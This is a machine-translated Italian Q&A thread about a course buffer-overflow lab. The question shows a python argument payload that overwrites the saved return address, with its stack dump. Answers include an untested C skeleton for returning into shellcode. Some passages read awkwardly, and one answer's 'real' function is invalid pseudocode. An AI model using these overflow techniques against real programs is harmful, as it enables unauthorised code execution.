Utilizzo dell'overflow del buffer per l'esecuzione del codice shell

Question

Ultimamente sto imparando la sicurezza del computer e ho riscontrato un paio di problemi, e sto avendo qualche problema con questo in particolare.

Mi viene assegnata una funzione con un buffer fisso che è necessario eseguire l'overflow per eseguire shellcode nel file shellcode. La funzione è molto semplice:

void vuln(char *str) { 
    char buf[64]; 
    strcpy(buf, str); 
    //function provided to display stack on command prompt 
    dump_stack((void **) buf, 21, (void **) &str); 
} 

La mia ipotesi iniziale era quello di modificare l'indirizzo di ritorno, il EIP, della funzione al fine di individuare ed eseguire ciò che si trova nel file shellcode, ma mi resi conto che non ho indirizzo al file che posso rappresentare in un valore esadecimale. Sto abbastanza sicuro ho bisogno di manipolare l'indirizzo di ritorno, quindi attualmente quello che sto chiamando è:

//the string is passed as a command line arg 
./buffer_overflow_shellcode $(python -c "print 'A'*72 + '\x41\xd6\xff\xff' ") 

la mia uscita è:

Stack dump: 
0xffffd600: 0xffffd7fd (first argument) 
0xffffd5fc: 0x08048653 (saved eip) 
0xffffd5f8: 0xffffd641 (saved ebp) 
0xffffd5f4: 0x41414141 
0xffffd5f0: 0x41414141 
0xffffd5ec: 0x41414141 
0xffffd5e8: 0x41414141 
0xffffd5e4: 0x41414141 
0xffffd5e0: 0x41414141 
0xffffd5dc: 0x41414141 
0xffffd5d8: 0x41414141 
0xffffd5d4: 0x41414141 
0xffffd5d0: 0x41414141 
0xffffd5cc: 0x41414141 
0xffffd5c8: 0x41414141 
0xffffd5c4: 0x41414141 
0xffffd5c0: 0x41414141 
0xffffd5bc: 0x41414141 
0xffffd5b8: 0x41414141 
0xffffd5b4: 0x41414141 
0xffffd5b0: 0x41414141 (beginning of buffer) 
Segmentation fault 

lo script Python stampa semplicemente 72 lettera A di a overflow del buffer al punto del edp e eip, dopo aver sostituito l'indirizzo di edp con l'indirizzo aggiuntivo e arrivare all'indirizzo di ritorno, pronto a manipolarlo. Qualsiasi aiuto è molto apprezzato, grazie!

Answer 1

Beh, penso che questo sia un Buffer Overflow Lab in Computer Systems: Prospettiva di un programmatore. Innanzitutto, utilizzare objdump per ottenere l'indirizzo statico. In secondo luogo, eseguilo con gdb per trovare l'indirizzo dello stack. Quindi, riempire il buffer con una stringa tale che sovrascriva l'indirizzo di ritorno nel buffer (in modo da poter inserire il codice di exploit, in alternativa, è possibile richiamare altro codice nel programma).

Dai un'occhiata a questo pdf che funge da guida per questo laboratorio. Potrebbe fornirti alcuni spunti.

Come si nota, per raggiungere questo obiettivo sono necessari molti flag di compilazione. (Vorrei verificare quale e tornare presto). In alternativa, il post this fornisce una guida su come compilare un esempio del genere.

Answer 2

Non è difficile quando si sa dove guardare troppo, come detto prima di aprire l'app con gdb. r (dis) esso. Quindi i (nfo) r (egisters) per vedere perché si è schiantato. smontare è anche molto utile.

Inoltre, (presumo si sa questo):

void vuln(char *str) { 
    char buf[64]; 
    strcpy(buf, str); 
    //function provided to display stack on command prompt 
    dump_stack((void **) buf, 21, (void **) &str); 
} 

è in realtà

void vuln(char *str) { 
    void *return; 
    char buf[64]; 

    /* Set Return value and store stack */ 
    strcpy(buf, str); 
    //function provided to display stack on command prompt 
    dump_stack((void **) buf, 21, (void **) &str); 
    /* restore stack and jmp to return value. */ 
} 

Answer 3

La mia ipotesi iniziale era quello di modificare l'indirizzo di ritorno, l'EIP, della funzione, al fine di per individuare ed eseguire ciò che si trova nel file shellcode, ma ho realizzato che non ho alcun indirizzo nel file che posso rappresentare in un valore esadecimale.

Si desidera modificare l'indirizzo RET in modo che quando termina la funzione non ritorni al proprio chiamante ma all'inizio del codice shell.

((Come una breve panoramica di ciò che è uno shellcode, è un insieme di istruzioni di assemblaggio (così pesantemente dipendenti dalla piattaforma che si esegue il processo vulnerabile) che esegue una shell (di solito una shell di root) lasciandola in un ambiente piacevole che è possibile sfruttare.))

Ora torniamo, quello che vuoi è puntare il RET alla prima istruzione di assemblaggio nel tuo shellcode. Il bizzarro bit è che lo hai in un file separato. È richiesto?

Come di solito è fatto è che hai qualcosa di simile:

char shellcode[] = "\x90\x90\x90..."; 


int main() 
{ 
     /* 
     * huge string (like your 72 A's) that appends the address of the 
     * shellcode at the right address (in your case I think it's 64 + 4) 
     */ 
     char evilstring[100]; 

     /* Fill the buf and the EBP with A's */ 
     for (int i = 0; i < 64 + 4; i++) { 
       evilstring[i] = 'A'; 
     } 
     /* And the RET with the address of your shellcode */ 
     sprintf(&evilstring[68], "%p", &shellcode[0]); 
     vuln(evilstring); 
     /* you should have a shell now */ 

     /* NOTREACHED */ 
     return 0; 
} 

Così ora, quando le vostre dichiarazioni di funzione, restituisce all'indirizzo del [] stringa di shellcode e continua istruzioni esecuzione da lì. Che è quello che vuoi Perché quelle istruzioni ti danno la shell di root (o qualunque cosa sia il tuo shellcode).

Si prega di notare che quanto sopra è solo un esempio di codice, non è nemmeno testato compilato.

Se non ho capito il tuo problema o se non ho spiegato abbastanza bene, non esitate a chiedere.

Answer 4

char buff[20]; 
unsigned int pass = 0; 

quando "buff" viene sovrascritto, l'input extra trasforma il "passaggio" in maggiore di 0, rendendolo un valore "true".